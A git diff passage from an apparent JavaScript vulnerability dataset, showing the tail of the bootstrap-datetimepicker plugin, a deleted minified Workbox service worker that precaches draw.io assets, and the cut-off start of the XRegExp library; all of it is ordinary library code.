TypeError('locale() locale ' + locale + ' is not loaded from moment locales!'); } options.locale = locale; date.locale(options.locale); viewDate.locale(options.locale); if (actualFormat) { initFormatting(); // reinit formatting } if (widget) { hide(); show(); } return picker; }; picker.stepping = function (stepping) { if (arguments.length === 0) { return options.stepping; } stepping = parseInt(stepping, 10); if (isNaN(stepping) || stepping < 1) { stepping = 1; } options.stepping = stepping; return picker; }; picker.useCurrent = function (useCurrent) { var useCurrentOptions = ['year', 'month', 'day', 'hour', 'minute']; if (arguments.length === 0) { return options.useCurrent; } if ((typeof useCurrent !== 'boolean') && (typeof useCurrent !== 'string')) { throw new TypeError('useCurrent() expects a boolean or string parameter'); } if (typeof useCurrent === 'string' && useCurrentOptions.indexOf(useCurrent.toLowerCase()) === -1) { throw new TypeError('useCurrent() expects a string parameter of ' + useCurrentOptions.join(', ')); } options.useCurrent = useCurrent; return picker; }; picker.collapse = function (collapse) { if (arguments.length === 0) { return options.collapse; } if (typeof collapse !== 'boolean') { throw new TypeError('collapse() expects a boolean parameter'); } if (options.collapse === collapse) { return picker; } options.collapse = collapse; if (widget) { hide(); show(); } return picker; }; picker.icons = function (icons) { if (arguments.length === 0) { return $.extend({}, options.icons); } if (!(icons instanceof Object)) { throw new TypeError('icons() expects parameter to be an Object'); } $.extend(options.icons, icons); if (widget) { hide(); show(); } return picker; }; picker.tooltips = function (tooltips) { if (arguments.length === 0) { return $.extend({}, options.tooltips); } if (!(tooltips instanceof Object)) { throw new TypeError('tooltips() expects parameter to be an Object'); } $.extend(options.tooltips, tooltips); if (widget) { hide(); show(); } return picker; }; picker.useStrict = function (useStrict) { if (arguments.length === 0) { return options.useStrict; } if (typeof useStrict !== 'boolean') { throw new TypeError('useStrict() expects a boolean parameter'); } options.useStrict = useStrict; return picker; }; picker.sideBySide = function (sideBySide) { if (arguments.length === 0) { return options.sideBySide; } if (typeof sideBySide !== 'boolean') { throw new TypeError('sideBySide() expects a boolean parameter'); } options.sideBySide = sideBySide; if (widget) { hide(); show(); } return picker; }; picker.viewMode = function (viewMode) { if (arguments.length === 0) { return options.viewMode; } if (typeof viewMode !== 'string') { throw new TypeError('viewMode() expects a string parameter'); } if (viewModes.indexOf(viewMode) === -1) { throw new TypeError('viewMode() parameter must be one of (' + viewModes.join(', ') + ') value'); } options.viewMode = viewMode; currentViewMode = Math.max(viewModes.indexOf(viewMode), minViewModeNumber); showMode(); return picker; }; picker.toolbarPlacement = function (toolbarPlacement) { if (arguments.length === 0) { return options.toolbarPlacement; } if (typeof toolbarPlacement !== 'string') { throw new TypeError('toolbarPlacement() expects a string parameter'); } if (toolbarPlacements.indexOf(toolbarPlacement) === -1) { throw new TypeError('toolbarPlacement() parameter must be one of (' + toolbarPlacements.join(', ') + ') value'); } options.toolbarPlacement = toolbarPlacement; if (widget) { hide(); show(); } return picker; }; picker.widgetPositioning = function (widgetPositioning) { if (arguments.length === 0) { return $.extend({}, options.widgetPositioning); } if (({}).toString.call(widgetPositioning) !== '[object Object]') { throw new TypeError('widgetPositioning() expects an object variable'); } if (widgetPositioning.horizontal) { if (typeof widgetPositioning.horizontal !== 'string') { throw new TypeError('widgetPositioning() horizontal variable must be a string'); } widgetPositioning.horizontal = widgetPositioning.horizontal.toLowerCase(); if (horizontalModes.indexOf(widgetPositioning.horizontal) === -1) { throw new TypeError('widgetPositioning() expects horizontal parameter to be one of (' + horizontalModes.join(', ') + ')'); } options.widgetPositioning.horizontal = widgetPositioning.horizontal; } if (widgetPositioning.vertical) { if (typeof widgetPositioning.vertical !== 'string') { throw new TypeError('widgetPositioning() vertical variable must be a string'); } widgetPositioning.vertical = widgetPositioning.vertical.toLowerCase(); if (verticalModes.indexOf(widgetPositioning.vertical) === -1) { throw new TypeError('widgetPositioning() expects vertical parameter to be one of (' + verticalModes.join(', ') + ')'); } options.widgetPositioning.vertical = widgetPositioning.vertical; } update(); return picker; }; picker.calendarWeeks = function (calendarWeeks) { if (arguments.length === 0) { return options.calendarWeeks; } if (typeof calendarWeeks !== 'boolean') { throw new TypeError('calendarWeeks() expects parameter to be a boolean value'); } options.calendarWeeks = calendarWeeks; update(); return picker; }; picker.showTodayButton = function (showTodayButton) { if (arguments.length === 0) { return options.showTodayButton; } if (typeof showTodayButton !== 'boolean') { throw new TypeError('showTodayButton() expects a boolean parameter'); } options.showTodayButton = showTodayButton; if (widget) { hide(); show(); } return picker; }; picker.showClear = function (showClear) { if (arguments.length === 0) { return options.showClear; } if (typeof showClear !== 'boolean') { throw new TypeError('showClear() expects a boolean parameter'); } options.showClear = showClear; if (widget) { hide(); show(); } return picker; }; picker.widgetParent = function (widgetParent) { if (arguments.length === 0) { return options.widgetParent; } if (typeof widgetParent === 'string') { widgetParent = $(widgetParent); } if (widgetParent !== null && (typeof widgetParent !== 'string' && !(widgetParent instanceof $))) { throw new TypeError('widgetParent() expects a string or a jQuery object parameter'); } options.widgetParent = widgetParent; if (widget) { hide(); show(); } return picker; }; picker.keepOpen = function (keepOpen) { if (arguments.length === 0) { return options.keepOpen; } if (typeof keepOpen !== 'boolean') { throw new TypeError('keepOpen() expects a boolean parameter'); } options.keepOpen = keepOpen; return picker; }; picker.focusOnShow = function (focusOnShow) { if (arguments.length === 0) { return options.focusOnShow; } if (typeof focusOnShow !== 'boolean') { throw new TypeError('focusOnShow() expects a boolean parameter'); } options.focusOnShow = focusOnShow; return picker; }; picker.inline = function (inline) { if (arguments.length === 0) { return options.inline; } if (typeof inline !== 'boolean') { throw new TypeError('inline() expects a boolean parameter'); } options.inline = inline; return picker; }; picker.clear = function () { clear(); return picker; }; picker.keyBinds = function (keyBinds) { options.keyBinds = keyBinds; return picker; }; picker.getMoment = function (d) { return getMoment(d); }; picker.debug = function (debug) { if (typeof debug !== 'boolean') { throw new TypeError('debug() expects a boolean parameter'); } options.debug = debug; return picker; }; picker.allowInputToggle = function (allowInputToggle) { if (arguments.length === 0) { return options.allowInputToggle; } if (typeof allowInputToggle !== 'boolean') { throw new TypeError('allowInputToggle() expects a boolean parameter'); } options.allowInputToggle = allowInputToggle; return picker; }; picker.showClose = function (showClose) { if (arguments.length === 0) { return options.showClose; } if (typeof showClose !== 'boolean') { throw new TypeError('showClose() expects a boolean parameter'); } options.showClose = showClose; return picker; }; picker.keepInvalid = function (keepInvalid) { if (arguments.length === 0) { return options.keepInvalid; } if (typeof keepInvalid !== 'boolean') { throw new TypeError('keepInvalid() expects a boolean parameter'); } options.keepInvalid = keepInvalid; return picker; }; picker.datepickerInput = function (datepickerInput) { if (arguments.length === 0) { return options.datepickerInput; } if (typeof datepickerInput !== 'string') { throw new TypeError('datepickerInput() expects a string parameter'); } options.datepickerInput = datepickerInput; return picker; }; picker.parseInputDate = function (parseInputDate) { if (arguments.length === 0) { return options.parseInputDate; } if (typeof parseInputDate !== 'function') { throw new TypeError('parseInputDate() sholud be as function'); } options.parseInputDate = parseInputDate; return picker; }; picker.disabledTimeIntervals = function (disabledTimeIntervals) { /// ///Returns an array with the currently set disabled dates on the component. ///options.disabledTimeIntervals /// /// ///Setting this takes precedence over options.minDate, options.maxDate configuration. Also calling this function removes the configuration of ///options.enabledDates if such exist. ///Takes an [ string or Date or moment ] of values and allows the user to select only from those days. /// if (arguments.length === 0) { return (options.disabledTimeIntervals ? $.extend({}, options.disabledTimeIntervals) : options.disabledTimeIntervals); } if (!disabledTimeIntervals) { options.disabledTimeIntervals = false; update(); return picker; } if (!(disabledTimeIntervals instanceof Array)) { throw new TypeError('disabledTimeIntervals() expects an array parameter'); } options.disabledTimeIntervals = disabledTimeIntervals; update(); return picker; }; picker.disabledHours = function (hours) { /// ///Returns an array with the currently set disabled hours on the component. ///options.disabledHours /// /// ///Setting this takes precedence over options.minDate, options.maxDate configuration. Also calling this function removes the configuration of ///options.enabledHours if such exist. ///Takes an [ int ] of values and disallows the user to select only from those hours. /// if (arguments.length === 0) { return (options.disabledHours ? $.extend({}, options.disabledHours) : options.disabledHours); } if (!hours) { options.disabledHours = false; update(); return picker; } if (!(hours instanceof Array)) { throw new TypeError('disabledHours() expects an array parameter'); } options.disabledHours = indexGivenHours(hours); options.enabledHours = false; if (options.useCurrent && !options.keepInvalid) { var tries = 0; while (!isValid(date, 'h')) { date.add(1, 'h'); if (tries === 24) { throw 'Tried 24 times to find a valid date'; } tries++; } setValue(date); } update(); return picker; }; picker.enabledHours = function (hours) { /// ///Returns an array with the currently set enabled hours on the component. ///options.enabledHours /// /// ///Setting this takes precedence over options.minDate, options.maxDate configuration. Also calling this function removes the configuration of options.disabledHours if such exist. ///Takes an [ int ] of values and allows the user to select only from those hours. /// if (arguments.length === 0) { return (options.enabledHours ? $.extend({}, options.enabledHours) : options.enabledHours); } if (!hours) { options.enabledHours = false; update(); return picker; } if (!(hours instanceof Array)) { throw new TypeError('enabledHours() expects an array parameter'); } options.enabledHours = indexGivenHours(hours); options.disabledHours = false; if (options.useCurrent && !options.keepInvalid) { var tries = 0; while (!isValid(date, 'h')) { date.add(1, 'h'); if (tries === 24) { throw 'Tried 24 times to find a valid date'; } tries++; } setValue(date); } update(); return picker; }; picker.viewDate = function (newDate) { /// ///Returns the component's model current viewDate, a moment object or null if not set. ///viewDate.clone() /// /// ///Sets the components model current moment to it. Passing a null value unsets the components model current moment. Parsing of the newDate parameter is made using moment library with the options.format and options.useStrict components configuration. ///Takes string, viewDate, moment, null parameter. /// if (arguments.length === 0) { return viewDate.clone(); } if (!newDate) { viewDate = date.clone(); return picker; } if (typeof newDate !== 'string' && !moment.isMoment(newDate) && !(newDate instanceof Date)) { throw new TypeError('viewDate() parameter must be one of [string, moment or Date]'); } viewDate = parseInputDate(newDate); viewUpdate(); return picker; }; // initializing element and component attributes if (element.is('input')) { input = element; } else { input = element.find(options.datepickerInput); if (input.size() === 0) { input = element.find('input'); } else if (!input.is('input')) { throw new Error('CSS class "' + options.datepickerInput + '" cannot be applied to non input element'); } } if (element.hasClass('input-group')) { // in case there is more then one 'input-group-addon' Issue #48 if (element.find('.datepickerbutton').size() === 0) { component = element.find('.input-group-addon'); } else { component = element.find('.datepickerbutton'); } } if (!options.inline && !input.is('input')) { throw new Error('Could not initialize DateTimePicker without an input element'); } // Set defaults for date here now instead of in var declaration date = getMoment(); viewDate = date.clone(); $.extend(true, options, dataToOptions()); picker.options(options); initFormatting(); attachDatePickerElementEvents(); if (input.prop('disabled')) { picker.disable(); } if (input.is('input') && input.val().trim().length !== 0) { setValue(parseInputDate(input.val().trim())); } else if (options.defaultDate && input.attr('placeholder') === undefined) { setValue(options.defaultDate); } if (options.inline) { show(); } return picker; }; /******************************************************************************** * * jQuery plugin constructor and defaults object * ********************************************************************************/ $.fn.datetimepicker = function (options) { return this.each(function () { var $this = $(this); if (!$this.data('DateTimePicker')) { // create a private copy of the defaults object options = $.extend(true, {}, $.fn.datetimepicker.defaults, options); $this.data('DateTimePicker', dateTimePicker($this, options)); } }); }; $.fn.datetimepicker.defaults = { timeZone: 'Etc/UTC', format: false, dayViewHeaderFormat: 'MMMM YYYY', extraFormats: false, stepping: 1, minDate: false, maxDate: false, useCurrent: true, collapse: true, locale: moment.locale(), defaultDate: false, disabledDates: false, enabledDates: false, icons: { time: 'glyphicon glyphicon-time', date: 'glyphicon glyphicon-calendar', up: 'glyphicon glyphicon-chevron-up', down: 'glyphicon glyphicon-chevron-down', previous: 'glyphicon glyphicon-chevron-left', next: 'glyphicon glyphicon-chevron-right', today: 'glyphicon glyphicon-screenshot', clear: 'glyphicon glyphicon-trash', close: 'glyphicon glyphicon-remove' }, tooltips: { today: 'Go to today', clear: 'Clear selection', close: 'Close the picker', selectMonth: 'Select Month', prevMonth: 'Previous Month', nextMonth: 'Next Month', selectYear: 'Select Year', prevYear: 'Previous Year', nextYear: 'Next Year', selectDecade: 'Select Decade', prevDecade: 'Previous Decade', nextDecade: 'Next Decade', prevCentury: 'Previous Century', nextCentury: 'Next Century', pickHour: 'Pick Hour', incrementHour: 'Increment Hour', decrementHour: 'Decrement Hour', pickMinute: 'Pick Minute', incrementMinute: 'Increment Minute', decrementMinute: 'Decrement Minute', pickSecond: 'Pick Second', incrementSecond: 'Increment Second', decrementSecond: 'Decrement Second', togglePeriod: 'Toggle Period', selectTime: 'Select Time' }, useStrict: false, sideBySide: false, daysOfWeekDisabled: false, calendarWeeks: false, viewMode: 'days', toolbarPlacement: 'default', showTodayButton: false, showClear: false, showClose: false, widgetPositioning: { horizontal: 'auto', vertical: 'auto' }, widgetParent: null, ignoreReadonly: false, keepOpen: false, focusOnShow: true, inline: false, keepInvalid: false, datepickerInput: '.datepickerinput', keyBinds: { up: function (widget) { if (!widget) { return; } var d = this.date() || this.getMoment(); if (widget.find('.datepicker').is(':visible')) { this.date(d.clone().subtract(7, 'd')); } else { this.date(d.clone().add(this.stepping(), 'm')); } }, down: function (widget) { if (!widget) { this.show(); return; } var d = this.date() || this.getMoment(); if (widget.find('.datepicker').is(':visible')) { this.date(d.clone().add(7, 'd')); } else { this.date(d.clone().subtract(this.stepping(), 'm')); } }, 'control up': function (widget) { if (!widget) { return; } var d = this.date() || this.getMoment(); if (widget.find('.datepicker').is(':visible')) { this.date(d.clone().subtract(1, 'y')); } else { this.date(d.clone().add(1, 'h')); } }, 'control down': function (widget) { if (!widget) { return; } var d = this.date() || this.getMoment(); if (widget.find('.datepicker').is(':visible')) { this.date(d.clone().add(1, 'y')); } else { this.date(d.clone().subtract(1, 'h')); } }, left: function (widget) { if (!widget) { return; } var d = this.date() || this.getMoment(); if (widget.find('.datepicker').is(':visible')) { this.date(d.clone().subtract(1, 'd')); } }, right: function (widget) { if (!widget) { return; } var d = this.date() || this.getMoment(); if (widget.find('.datepicker').is(':visible')) { this.date(d.clone().add(1, 'd')); } }, pageUp: function (widget) { if (!widget) { return; } var d = this.date() || this.getMoment(); if (widget.find('.datepicker').is(':visible')) { this.date(d.clone().subtract(1, 'M')); } }, pageDown: function (widget) { if (!widget) { return; } var d = this.date() || this.getMoment(); if (widget.find('.datepicker').is(':visible')) { this.date(d.clone().add(1, 'M')); } }, enter: function () { this.hide(); }, escape: function () { this.hide(); }, //tab: function (widget) { //this break the flow of the form. disabling for now // var toggle = widget.find('.picker-switch a[data-action="togglePicker"]'); // if (toggle.length > 0) toggle.click(); //}, 'control space': function (widget) { if (widget.find('.timepicker').is(':visible')) { widget.find('.btn[data-action="togglePeriod"]').click(); } }, t: function () { this.date(this.getMoment()); }, 'delete': function () { this.clear(); } }, debug: false, allowInputToggle: false, disabledTimeIntervals: false, disabledHours: false, enabledHours: false, viewDate: false };})); \ No newline at end of file diff --git a/data/javascript/jscvefixed180.txt b/data/javascript/jscvefixed180.txt deleted file mode 100644 index 6786f0da12bb1d1181d941e6118a5a539ed09152..0000000000000000000000000000000000000000 --- a/data/javascript/jscvefixed180.txt +++ /dev/null @@ -1 +0,0 @@ -if(!self.define){const e=e=>{"require"!==e&&(e+=".js");let i=Promise.resolve();return r[e]||(i=new Promise((async i=>{if("document"in self){const r=document.createElement("script");r.src=e,document.head.appendChild(r),r.onload=i}else importScripts(e),i()}))),i.then((()=>{if(!r[e])throw new Error(`Module ${e} didn’t register its module`);return r[e]}))},i=(i,r)=>{Promise.all(i.map(e)).then((e=>r(1===e.length?e[0]:e)))},r={require:Promise.resolve(i)};self.define=(i,a,c)=>{r[i]||(r[i]=Promise.resolve().then((()=>{let r={};const s={uri:location.origin+i.slice(1)};return Promise.all(a.map((i=>{switch(i){case"exports":return r;case"module":return s;default:return e(i)}}))).then((e=>{const i=c(...e);return r.default||(r.default=i),r}))})))}}define("./service-worker.js",["./workbox-fa8c4ce5"],(function(e){"use strict";self.addEventListener("message",(e=>{e.data&&"SKIP_WAITING"===e.data.type&&self.skipWaiting()})),e.precacheAndRoute([{url:"js/app.min.js",revision:"392f3b9a842f1aea6033479896f6cb87"},{url:"js/extensions.min.js",revision:"73cc2b66f2ddc50354256dc6b065af7d"},{url:"js/stencils.min.js",revision:"98924b5296c015cef20b904ef861eeea"},{url:"js/shapes-14-6-5.min.js",revision:"f0e1d4c09054df2f3ea3793491e9fe08"},{url:"js/math-print.js",revision:"0611491c663261a732ff18224906184d"},{url:"index.html",revision:"8b5b1cf07fc74454cf354717e9d18534"},{url:"open.html",revision:"d71816b3b00e769fc6019fcdd6921662"},{url:"styles/fonts/ArchitectsDaughter-Regular.ttf",revision:"31c2153c0530e32553b31a49b3d70736"},{url:"styles/grapheditor.css",revision:"4f2c07c4585347249c95cd9158872fb2"},{url:"styles/atlas.css",revision:"e8152cda9233d3a3af017422993abfce"},{url:"styles/dark.css",revision:"3179f617dd02efd2cefeb8c06f965880"},{url:"js/dropbox/Dropbox-sdk.min.js",revision:"4b9842892aa37b156db0a8364b7a83b0"},{url:"js/onedrive/OneDrive.js",revision:"505e8280346666f7ee801bc59521fa67"},{url:"js/viewer-static.min.js",revision:"988dfe7c135c0cb4f4f684f6840e6448"},{url:"connect/jira/editor-1-3-3.html",revision:"a2b0e7267a08a838f3cc404eba831ec0"},{url:"connect/jira/viewerPanel-1-3-12.html",revision:"c96db1790184cb35781f791e8d1dafd9"},{url:"connect/jira/fullScreenViewer-1-3-3.html",revision:"ba7ece2dfb2833b72f97280d7092f25e"},{url:"connect/jira/viewerPanel.js",revision:"6d5a85e70c7b82ba685782ca6df2b9d5"},{url:"connect/jira/spinner.gif",revision:"7d857ab9d86123e93d74d48e958fe743"},{url:"connect/jira/editor.js",revision:"01caa325f3ad3f6565e0b4228907fb63"},{url:"connect/jira/fullscreen-viewer-init.js",revision:"e00ad51fc16b87c362d6eaf930ab1fa5"},{url:"connect/jira/fullscreen-viewer.js",revision:"4e0775a6c156a803e777870623ac7c3e"},{url:"plugins/connectJira.js",revision:"4cefa13414e0d406550f3c073923080c"},{url:"plugins/cConf-comments.js",revision:"c787357209cff2986dcca567b599e2ef"},{url:"plugins/cConf-1-4-8.js",revision:"c6552981ba1add209fe3e12ffcf79c9a"},{url:"connect/confluence/connectUtils-1-4-8.js",revision:"fab9a95f19a57bb836e42f67a1c0078b"},{url:"connect/new_common/cac.js",revision:"3d8c436c566db645fb1e6e6ba9f69bbc"},{url:"connect/gdrive_common/gac.js",revision:"38f1df3ecc4d78290493f47e62202138"},{url:"connect/onedrive_common/ac.js",revision:"d089f12446d443ca01752a5115456fcc"},{url:"connect/confluence/viewer-init.js",revision:"2bd677096ebffd3aa5cab0c347851e3f"},{url:"connect/confluence/viewer.js",revision:"a9d84488d17425d28e5d85d464e0a8f8"},{url:"connect/confluence/viewer-1-4-42.html",revision:"4c58f3a1a4c99b1c4264593b6e05100b"},{url:"connect/confluence/macroEditor-1-4-8.html",revision:"8cd74a2fb60bf2e3e86026d66107cf11"},{url:"connect/confluence/includeDiagram-1-4-8.js",revision:"352d2782274de07617d117926b68c205"},{url:"connect/confluence/includeDiagram.html",revision:"5cefef0227d058cf716d1f51f2cf202f"},{url:"connect/confluence/macro-editor.js",revision:"412bc4b87e630b697a40f247c579d398"},{url:"math/MathJax.js",revision:"b2c103388b71bb3d11cbf9aa45fe9b68"},{url:"math/config/TeX-MML-AM_SVG-full.js",revision:"d5cb8ac04050983170ae4af145bc66ff"},{url:"math/jax/output/SVG/fonts/TeX/fontdata.js",revision:"495e5a410955d1b6178870e605890ede"},{url:"math/jax/element/mml/optable/BasicLatin.js",revision:"cac9b2e71382e62270baa55fab07cc13"},{url:"math/jax/output/SVG/fonts/TeX/Size2/Regular/Main.js",revision:"e3e5e4d5924beed29f0844550b5c8f46"},{url:"math/jax/output/SVG/fonts/TeX/Main/Regular/LetterlikeSymbols.js",revision:"0767cbad7275b53da128e7e5e1109f7c"},{url:"math/jax/output/SVG/fonts/TeX/Main/Regular/GreekAndCoptic.js",revision:"346302a5c5ee00e01c302148c56dbfe3"},{url:"resources/dia.txt",revision:"4a867862bf904c7ad3a64df7dad16418"},{url:"resources/dia_am.txt",revision:"4689225def33ebe303b3cb139853496a"},{url:"resources/dia_ar.txt",revision:"7f304c86dc394b9af1ad6164c6d3ddd5"},{url:"resources/dia_bg.txt",revision:"d61d74692a5bf45f73fc93f1d7e87920"},{url:"resources/dia_bn.txt",revision:"3872321b45397def596cdf1bda972b28"},{url:"resources/dia_bs.txt",revision:"a71af7c97bdc76f5aac426df06b4e3f8"},{url:"resources/dia_ca.txt",revision:"0157e5c040a2f8267eb9ca49d22e3826"},{url:"resources/dia_cs.txt",revision:"333a3ee5b7b7df98971f6d19a21f39b5"},{url:"resources/dia_da.txt",revision:"6cb7a6e408feed6af210b6d056e347ce"},{url:"resources/dia_de.txt",revision:"18e94ca0a4b7186bffd5be4469bd2034"},{url:"resources/dia_el.txt",revision:"f61edf46348bb30a2167a15ebf5c279d"},{url:"resources/dia_eo.txt",revision:"6c7972069739da31ef54bd86633d0ffa"},{url:"resources/dia_es.txt",revision:"7d7e05567922e5e513161b1dee485077"},{url:"resources/dia_et.txt",revision:"99497a7ed1e75872b306b0f644e0293d"},{url:"resources/dia_eu.txt",revision:"dee2e4b5cbf36d918d2680cd820396c5"},{url:"resources/dia_fa.txt",revision:"adccf1eca87f7b03787ace14c25d69b1"},{url:"resources/dia_fi.txt",revision:"d4ce04c27dd20140847809f289fae661"},{url:"resources/dia_fil.txt",revision:"1e4a095234dab2b0f9bf46c93954227e"},{url:"resources/dia_fr.txt",revision:"69e45804fef71e02de20e2b630b4d1a1"},{url:"resources/dia_gl.txt",revision:"0669d8f3ec00ead8714d58af07d24d66"},{url:"resources/dia_gu.txt",revision:"b608a7aa6c6fc2f131be132388b629b0"},{url:"resources/dia_he.txt",revision:"9aa9fc87c0a97f0bd241554b9b4216b6"},{url:"resources/dia_hi.txt",revision:"d8c988437bf2d9c80c44a93055c5c5f3"},{url:"resources/dia_hr.txt",revision:"e50f8893d4fbf00434de72ec9d109780"},{url:"resources/dia_hu.txt",revision:"f8b6b0735c787f7e655da7127e84b930"},{url:"resources/dia_id.txt",revision:"5466988af743d857a245c8f4f01e5159"},{url:"resources/dia_it.txt",revision:"a32f008225133eefac800cebddb8ddcb"},{url:"resources/dia_ja.txt",revision:"a683a7cd55e67852c6d639f8f4ab0a9f"},{url:"resources/dia_kn.txt",revision:"e73e06abe7f40a5734d491292e89748d"},{url:"resources/dia_ko.txt",revision:"9856ddd95c7b25be26eb99014968dc9d"},{url:"resources/dia_lt.txt",revision:"c1c24186569131733bdd45fd98d19c33"},{url:"resources/dia_lv.txt",revision:"c93d5d21c6d5864623db09c47cdb67ef"},{url:"resources/dia_ml.txt",revision:"70bd1e5024c8fb8d234575dd3e59c954"},{url:"resources/dia_mr.txt",revision:"49fb0b282abd23a20b6f818b76fa70bf"},{url:"resources/dia_ms.txt",revision:"a86c345ad3266ec55ca2f645a5043483"},{url:"resources/dia_my.txt",revision:"4a867862bf904c7ad3a64df7dad16418"},{url:"resources/dia_nl.txt",revision:"6ecd54a5d4376288499420f1bad7cb5d"},{url:"resources/dia_no.txt",revision:"787c1ef695d70116887c87bf55112b01"},{url:"resources/dia_pl.txt",revision:"efce793a77009b73b4d491e4678f5207"},{url:"resources/dia_pt-br.txt",revision:"68b48b305ed1c63f5fd55af096ec3b5b"},{url:"resources/dia_pt.txt",revision:"82f0affa616995eafd8c7f0151d1662f"},{url:"resources/dia_ro.txt",revision:"0091276e527e52e72b9dc3b87e05171c"},{url:"resources/dia_ru.txt",revision:"7004c5621dd1d1eec21e249547dc564b"},{url:"resources/dia_si.txt",revision:"4a867862bf904c7ad3a64df7dad16418"},{url:"resources/dia_sk.txt",revision:"69e29124515cbeace9d72f3b2575c871"},{url:"resources/dia_sl.txt",revision:"bc8a59b4b0a4410b1a3019cb7b7b24d6"},{url:"resources/dia_sr.txt",revision:"f6886d9c5d5c8052135bcdd5417247f0"},{url:"resources/dia_sv.txt",revision:"3ea62fbf4bfac96b2aabf9bc9a8378e4"},{url:"resources/dia_sw.txt",revision:"4ed9d255a447fa4d78efe08d7ee633af"},{url:"resources/dia_ta.txt",revision:"7eff30c11d017190ea1e13d0cbc1a32b"},{url:"resources/dia_te.txt",revision:"75f39c5c527129b4f5ccf60b2b10b7cb"},{url:"resources/dia_th.txt",revision:"bc28afe63d3b37c34e94d1874f87d22c"},{url:"resources/dia_tr.txt",revision:"a5ec306083c41ad693babc0830c338dc"},{url:"resources/dia_uk.txt",revision:"e02d3e8090a9fb30281bfd31e0469d66"},{url:"resources/dia_vi.txt",revision:"123eef638fc928a74639ee1c88dd69dc"},{url:"resources/dia_zh-tw.txt",revision:"d2d3186931252f427e8c6711ed4b79d2"},{url:"resources/dia_zh.txt",revision:"cebe4e3dd5c6c7e862a7b0205ff60dfb"},{url:"favicon.ico",revision:"fab2d88b37c72d83607527573de45281"},{url:"images/manifest.json",revision:"c6236bde53ed79aaaec60a1aca8ee2ef"},{url:"images/logo.png",revision:"89630b64b911ebe0daa3dfe442087cfa"},{url:"images/drawlogo.svg",revision:"4bf4d14ebcf072d8bd4c5a1c89e88fc6"},{url:"images/drawlogo48.png",revision:"8b13428373aca67b895364d025f42417"},{url:"images/drawlogo-gray.svg",revision:"0aabacbc0873816e1e09e4736ae44c7d"},{url:"images/drawlogo-text-bottom.svg",revision:"f6c438823ab31f290940bd4feb8dd9c2"},{url:"images/default-user.jpg",revision:"2c399696a87c8921f12d2f9e1990cc6e"},{url:"images/logo-flat-small.png",revision:"4b178e59ff499d6dd1894fc498b59877"},{url:"images/apple-touch-icon.png",revision:"73da7989a23ce9a4be565ec65658a239"},{url:"images/favicon-16x16.png",revision:"1a79d5461a5d2bf21f6652e0ac20d6e5"},{url:"images/favicon-32x32.png",revision:"e3b92da2febe70bad5372f6f3474b034"},{url:"images/android-chrome-196x196.png",revision:"f8c045b2d7b1c719fda64edab04c415c"},{url:"images/android-chrome-512x512.png",revision:"959b5fac2453963ff6d60fb85e4b73fd"},{url:"images/delete.png",revision:"5f2350f2fd20f1a229637aed32ed8f29"},{url:"images/droptarget.png",revision:"bbf7f563fb6784de1ce96f329519b043"},{url:"images/help.png",revision:"9266c6c3915bd33c243d80037d37bf61"},{url:"images/download.png",revision:"35418dd7bd48d87502c71b578cc6c37f"},{url:"images/logo-flat.png",revision:"038070ab43aee6e54a791211859fc67b"},{url:"images/google-drive-logo.svg",revision:"5d9f2f5bbc7dcc252730a0072bb23059"},{url:"images/onedrive-logo.svg",revision:"3645b344ec0634c1290dd58d7dc87b97"},{url:"images/dropbox-logo.svg",revision:"e6be408c77cf9c82d41ac64fa854280a"},{url:"images/github-logo.svg",revision:"a1a999b69a275eac0cb918360ac05ae1"},{url:"images/gitlab-logo.svg",revision:"0faea8c818899e58533e153c44b10517"},{url:"images/trello-logo.svg",revision:"006fd0d7d70d7e95dc691674cb12e044"},{url:"images/osa_drive-harddisk.png",revision:"b954e1ae772087c5b4c6ae797e1f9649"},{url:"images/osa_database.png",revision:"c350d9d9b95f37b6cfe798b40ede5fb0"},{url:"images/google-drive-logo-white.svg",revision:"f329d8b1be7778515a85b93fc35d9f26"},{url:"images/dropbox-logo-white.svg",revision:"4ea8299ac3bc31a16f199ee3aec223bf"},{url:"images/onedrive-logo-white.svg",revision:"b3602fa0fc947009cff3f33a581cff4d"},{url:"images/github-logo-white.svg",revision:"537b1127b3ca0f95b45782d1304fb77a"},{url:"images/gitlab-logo-white.svg",revision:"5fede9ac2f394c716b8c23e3fddc3910"},{url:"images/trello-logo-white-orange.svg",revision:"e2a0a52ba3766682f138138d10a75eb5"},{url:"images/logo-confluence.png",revision:"ed1e55d44ae5eba8f999aba2c93e8331"},{url:"images/logo-jira.png",revision:"f8d460555a0d1f87cfd901e940666629"},{url:"images/clear.gif",revision:"db13c778e4382e0b55258d0f811d5d70"},{url:"images/spin.gif",revision:"487cbb40b9ced439aa1ad914e816d773"},{url:"images/checkmark.gif",revision:"ba764ce62f2bf952df5bbc2bb4d381c5"},{url:"images/hs.png",revision:"fefa1a03d92ebad25c88dca94a0b63db"},{url:"images/aui-wait.gif",revision:"5a474bcbd8d2f2826f03d10ea44bf60e"},{url:"mxgraph/css/common.css",revision:"b5b7280ec98671bb6c3847a36bc7ea12"},{url:"mxgraph/images/expanded.gif",revision:"2b67c2c035af1e9a5cc814f0d22074cf"},{url:"mxgraph/images/collapsed.gif",revision:"73cc826da002a3d740ca4ce6ec5c1f4a"},{url:"mxgraph/images/maximize.gif",revision:"5cd13d6925493ab51e876694cc1c2ec2"},{url:"mxgraph/images/minimize.gif",revision:"8957741b9b0f86af9438775f2aadbb54"},{url:"mxgraph/images/close.gif",revision:"8b84669812ac7382984fca35de8da48b"},{url:"mxgraph/images/resize.gif",revision:"a6477612b3567a34033f9cac6184eed3"},{url:"mxgraph/images/separator.gif",revision:"7819742ff106c97da7a801c2372bbbe5"},{url:"mxgraph/images/window.gif",revision:"fd9a21dd4181f98052a202a0a01f18ab"},{url:"mxgraph/images/window-title.gif",revision:"3fb1d6c43246cdf991a11dfe826dfe99"},{url:"mxgraph/images/button.gif",revision:"00759bdc3ad218fa739f584369541809"},{url:"mxgraph/images/point.gif",revision:"83a43717b284902442620f61bc4e9fa6"}],{ignoreURLParametersMatching:[/.*/]})}));//# sourceMappingURL=service-worker.js.map \ No newline at end of file diff --git a/data/javascript/jscvefixed181.txt b/data/javascript/jscvefixed181.txt deleted file mode 100644 index ab0ed06aff3d0d8bd3ba94c6ce2946d194de498a..0000000000000000000000000000000000000000 --- a/data/javascript/jscvefixed181.txt +++ /dev/null @@ -1 +0,0 @@ -var XRegExp;if (XRegExp)throw Error("can't load XRegExp twice in the same frame");(function(e) {function c(e,t) {if (!XRegExp.isRegExp(e))throw TypeError("type RegExp expected");var n=e._xregexp;return e=XRegExp(e.source,h(e)+(t||"")),n&&(e._xregexp={source:n.source,captureNames:n.captureNames?n.captureNames.slice(0):null}),e}function 